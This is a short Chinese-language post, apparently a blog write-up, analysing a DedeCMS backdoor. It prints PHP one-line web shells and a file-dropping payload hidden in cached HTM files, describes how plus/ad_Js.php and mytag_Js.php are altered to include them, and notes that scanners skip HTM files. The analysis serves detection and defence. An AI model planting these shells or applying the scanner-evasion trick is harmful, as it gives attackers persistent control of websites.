隐藏后门的特殊DEDE方法(dedecms漏洞90sec.php文件)

document.write(“dedecmsisok<?php@eval($_POST[cmd]);?>”);

document.write(“axxxxx’);echo‘OK’;@fclose($fp);?>”);

document.write(“<?php$fp =@fopen(‘av.php’, ‘a’);@fwrite($fp,‘<?php eval($_POST[110])?>axxxxx’);echo ‘OK’;@fclose($fp);?>”);

document.write(“<?phpecho ‘dedecms 5.70day<br>guige,90sec.org’;@preg_replace(‘/[copyright]/e’,


看到这些文件真奇怪。我不知道黑阔想要什么？？虽然代码看起来很熟悉，但HTML文件可以用作后门吗？想想我的朋友说的include，然后结合前一段时间getshell漏洞攻击的细节，最后转到plus/mytag_Js.php文件。在这个文件中，我终于找到了一个黑色、宽阔、肆无忌惮的地方。主要代码如下：
看到上面的代码，我们应该知道黑阔有多邪恶。在生成的HTM格式缓存文件中编写各种类型的一句代码，然后修改plus/ad_Js.php和mytag_Js.php文件，包括HTM格式的缓存文件。这样，黑阔只需在菜刀中填写以下URL即可连接一句话
http://www.xxx.com/plus/mytag_ js.php？id=1208
http://www.xxx.com/plus/ad_ js.php？id=1
特定ID和文件名与data/cache目录中的myad-1.htm和mytag-1208.htm相关。因此，各种web shell扫描仪不会扫描web shell后门文件，因为许多默认情况下不会扫描HTM